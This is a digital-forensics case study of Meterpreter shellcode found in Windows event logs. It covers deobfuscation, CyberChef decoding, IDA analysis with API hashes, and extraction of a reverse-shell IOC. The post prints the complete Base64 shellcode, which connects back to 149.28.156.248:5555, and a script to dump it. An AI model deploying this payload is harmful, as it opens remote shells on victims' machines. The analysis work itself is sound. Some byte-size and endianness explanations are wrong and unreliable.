Meterpreter Shellcode A DFIR Case Study
Part 1: Extracting the Payload from Event Logs
While analyzing system logs with Chainsaw, I stumbled upon some suspicious activity: random service creation. This immediately raised a red flag, prompting further investigation.

Digging deeper, I discovered a Base64-encoded block within the logs. However, this block was obfuscated, requiring some cleanup before I could decode it.

Here’s how I deobfuscated the code:
-
Replace ‘’‘’+‘’‘’ with null: This removed unnecessary characters used to confuse analysis.
-
Replace {0}, {1} with string array locations: This resolved placeholders with their actual values (e.g., {0} became ‘=’ and {1} became ‘C’).
-
Decode the Base64 block in CyberChef: I used the following recipe in CyberChef to decode the cleaned-up Base64 block:
From_Base64('A-Za-z0-9+/=',true,false) Gunzip() -
Extract the Base64-encoded shellcode: The output from CyberChef contained the shellcode, ready for further analysis.
-
Dump the shellcode using PowerShell: I used the following PowerShell script to convert the Base64-encoded shellcode into a binary file:
#dump the bytes $base64EncodedString = "/OiPAAAAYInlMdJki1Iwi1IMi1IUD7dKJotyKDH/McCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB0TAHQi1ggAdNQi0gYhcl0PEkx/4s0iwHWMcCswc8NAcc44HX0A334O30kdeBYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/VagFolRyc+GgCABWzieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCQPhXD////pm////wHDKcZ1wcO74B0qCmimlb2d/9U8BnwKgPvgdQW7RxNyb2oAU//V" [Byte[]]$binaryData = [System.Convert]::FromBase64String($base64EncodedString) # Save binary data to a file $binaryData | Set-Content -Path "dump.bin" -AsByteStream -
Analyze the binary: I uploaded the binary to https://tria.ge for analysis.
Alternatively, I could have used scdbg for analysis.
Part 2: Shellcode Reverse Engineering
Now that I had the decoded shellcode, it was time for some reverse engineering. Since the shellcode lacked import and export tables, I knew I’d need to walked the Process Environment Block (PEB) to find the required Windows APIs. (For more information on this technique, check out this blog post: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html)
To simplify the process, I utilized the pre-hash table from Kaspersky Lab: https://github.com/KasperskyLab/Apihashes. This table helps identify API calls within the shellcode based on their hash values.
Here’s how I proceeded with the analysis in IDA:
- Load the Apihashesv2.py plugin: This plugin automatically comments API names based on their hashes.
- Adjust IDA options: I set the “Number of opcode bytes” in General Options to a value between 6 and 12 for better disassembly.
- Open the shellcode in IDA: I loaded the
dump.binfile into IDA . - Set the processor type: I configured IDA to use “MetaPC” in 32-bit mode.
- Undefine the code: I pressed ‘U’ to undefine the initial data, allowing IDA to properly disassemble the shellcode.
- Make code with C: I instructed IDA to interpret the data as code.
- Analyze API calls: With the Apihashesv2 plugin, IDA automatically commented the identified API calls. The
connectAPI caught my attention, indicating potential network activity.

Decoding the Network Connection
Since Windows APIs use the stdcall convention, arguments are pushed onto the stack in reverse order.
Looking at the code before the connect call, I saw two push instructions. The first push was:

02 00 15 B3
This represents the sin_port structure, which is two bytes long. Since x86 architecture uses little-endian, I reversed the byte order to 00 02 15 B3. However, network APIs use big-endian, so the correct order is 15 B3 00 02. This translates to port 0x15B3, which is 5555.
The second push was:
95 1C 9C F8
This represents the IPv4 address, which is 8 bytes (2 * 4 bytes). Again, considering the big-endian format for network APIs, the correct order is 95 1C 9C F8. This translates to the IP address 149.28.156.248.
Indicators of Compromise (IOCs)
Based on my analysis, the shellcode is reverse shell and connect to 149.28.156.248:5555.